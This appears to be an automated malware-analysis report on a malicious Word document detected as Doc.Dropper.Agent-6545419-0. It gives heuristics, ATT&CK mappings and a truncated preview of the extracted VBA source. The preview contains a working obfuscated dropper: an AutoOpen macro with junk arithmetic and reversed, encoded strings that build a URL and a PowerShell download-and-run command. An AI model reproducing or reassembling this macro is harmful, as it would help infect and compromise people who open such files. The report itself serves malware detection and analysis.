MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6545419-0. Critical heuristics indicate the presence of VBA macros and a Shell() function call, suggesting the macro is designed to execute external commands. The AutoOpen macro is present, which is a common technique for automatically running malicious code upon document opening.
Heuristics 6
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ClamAV: Doc.Dropper.Agent-6545419-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6545419-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 118087 bytes |
SHA-256: f8a4dba7718d92d6dfa3041858a2f4c3554fbae22f236fe56eff815eadd6d3ce |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "qIsjsUf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub GzZBl(wLBst)
GormpC = RPAUdW
tHWHqD = dKppzT
URRSod = KzTNwS + Sgn(77525 - FdviK - ppuCp + Fix(87227)) - 55766 - CDbl(58107)
wpiMw = 95569
End Sub
Sub BpsfjJ(urlzV)
MuVJL = cXQzkT
vWYPFr = WbGli
jnzKDt = ZpCTY + Sgn(476 - VLlpI - CNfWb + Fix(61625)) - 15119 - CDbl(21753)
knjiYz = 78759
FwqLG = UEqFa
LqQdTk = HdjXm
rFOjtb = jnjtR + Sgn(237 - HLRlah - WuXGL + Fix(78413)) - 62716 - CDbl(64386)
WYEPPA = 10698
wiIIY = WLSoL
MwwEZV = qdiml
tKUNkh = FwowZ + Sgn(28090 - jBvsAV - hYcAqt + Fix(80045)) - 28236 - CDbl(83708)
rXIfA = 2860
End Sub
Sub iHEqPJ(fKXbp)
plQNLl = NunQrF
EBFSj = zKtQvS
bUfWO = JZFGu + Sgn(38943 - IkoTo - KkwdEF + Fix(84367)) - 79666 - CDbl(70500)
szSsXR = 85701
RCRvA = uKwVrM
ZcwIi = raRWjZ
NHcbqr = aClhOk + Sgn(96320 - uGWwYJ - XWktl + Fix(2659)) - 76846 - CDbl(487)
iWFkni = 43703
End Sub
Sub Autoopen()
On Error Resume Next
zTvXqO = thIjKz
AlvjFr = FqmCFz
iNuLks = ENuhHq + Sgn(99597 - sHqjw - UpEdf + Fix(64052)) - 87055 - CDbl(55549)
VlPCP = 37777
sOBlwwww (UaHmw + AHmRQqZDIRTn + ACzAz)
wiMYC = KYpiE
FbEZv = nklimP
KZwoC = ijsiiJ + Sgn(24836 - jEvYm - wjUTb + Fix(12275)) - 10129 - CDbl(24892)
PTrwz = 85758
End Sub
Sub OjnDZa(zZPif)
jpGAu = dFcMwa
XcKnN = UlqMk
vVSXuM = ZFjaN + Sgn(83450 - WPqlW - dHDlmm + Fix(3798)) - 40930 - CDbl(21650)
qdVRw = 13411
iiAYA = rBzvL
FuEptG = RhkIKC
jqwsa = PEHDW + Sgn(36029 - vMjpqq - GblobL + Fix(20222)) - 78838 - CDbl(56170)
aqWlcA = 10088
VIaAm = TadsF
vRTXII = IQOsa
KdfwqT = ikUiD + Sgn(10376 - kVBhSj - BIWwdT + Fix(93339)) - 94033 - CDbl(77919)
PAZcY = 75676
End Sub
Sub mYtTKw(UDUUnP)
arvIUJ = NzPhwO
DfLLh = vtpMr
kiazc = ZZpId + Sgn(37975 - djZYi - OiTQXI + Fix(15901)) - 10655 - CDbl(85306)
jBjRIZ = 37486
End Sub
Attribute VB_Name = "AmXWpduCsHEq"
Sub VLacd(NDrUE)
nIHtCv = MmYrO
tpVUQA = BQLqJ
iIFjIS = pBVnI + Sgn(80668 - zdjwT - kkbri + Fix(51433)) - 38116 - CDbl(4924)
WzRjMQ = 92658
End Sub
Function AHmRQqZDIRTn()
On Error Resume Next
DPZuC = UiLanB
hPWzF = jNAiwR
fYVYd = DWjjuR + Sgn(65127 - GJWAjA - phumH + Fix(42649)) - 29507 - CDbl(87767)
hadrM = 93196
MvYsTi = jdPKZ
LWMvR = ibFdjz
nASUS = NSPRHj + Sgn(64632 - YZjsR - zGGEL + Fix(74897)) - 81778 - CDbl(63552)
GSrvL = 82842
IFBwIFzDm = mjTjPa("5QqZz:p'+'tth@/s5'+'5q'+'Jm/ed'+'.zlas-'+'vdejE", 24806 + 3 - 24806, 24806 + 40 - 24806)
QJwhM = vFEMkq
BYlOl = htOIj
jvIzPn = LOIXv + Sgn(70274 - AKBzzC - aVihdJ + Fix(5802)) - 19210 - CDbl(31654)
AQufD = 74763
XNaSj = jtTLGH
uqooEi = Dlpaj
wnCiT = PmWPT + Sgn(39741 - REZqmq - BtciJo + Fix(83178)) - 54867 - CDbl(7413)
YzjYtv = 81589
luNsJXMmMEW = mjTjPa("7I7]rAHc[+38]rAHc[( EcALPErc-)'}}{h'S2z,", 11607 + 5 - 11607, 11607 + 35 - 11607)
srstYa = UHQGd
DjlGFL = ViXmj
rUlYYJ = BuzFHV + Sgn(2620 - phbWa - VPzRnj + Fix(41246)) - 37186 - CDbl(26299)
FKojA = 67106
vPJKu = EQLWdC
pkZjR = jRNSJz
DDVXo = WfOLw + Sgn(42739 - TniOb - obDZAn + Fix(41667)) - 64132 - CDbl(37674)
hzzNVj = 2463
nipwBsDWP = mjTjPa("OBoc))93]rAHc[,)47]rAHc[+35]rAHc[+94]rAHc[(ecaLper-29]rAHc[,'fsoDADsc", 66983 + 6 - 66983, 66983 + 60 - 66983)
nhEfVa = dNLjt
zraIwA = UkTrCw
OwIlnm = atfJGd + Sgn(563 - aKBav - GZEXjW + Fix(52033)) - 6462 - CDbl(28614)
cYsKj = 8375
idYwj = qojWZ
cvHpD = VXEWGi
qPDBQA = nURXuc + Sgn(73920 - vzaRz - hNiKo + Fix(24788)) - 25823 - CDbl(51549)
IXqLp = 89647
FUuucaUiiu = mjTjPa("hF+'cta'+'c}'+';k'+'a'+'erb;)'+'C'+'DSAk4()'+'J51'+'me'+'tI-eJ51+J51kJ51+'+'J5'+'1ovnIJ51(&'+';)CDS'+'A'+'k4 ,'+')(DN'+'SgN5ZPi5'+'Z'+'PrtSoTDNS3%73", 49734 + 5 - 49734, 49734 + 142 - 49734)
nPVwjH = jvbzVb
vojbJ = VrcoP
CJAER = FILKwC + Sgn(53343 - iwPNN - zMMjHj + Fix(61883)) - 85966 - CDbl(32159)
nhhXFV = 68875
VzUnz = zJKuEp
dbXZFp = OOpjT
QOpQct = sYfSP + Sgn(52465 - QTBALR - ajtUb + Fix(62786)) - 18079 - CDbl(21600
... (truncated)
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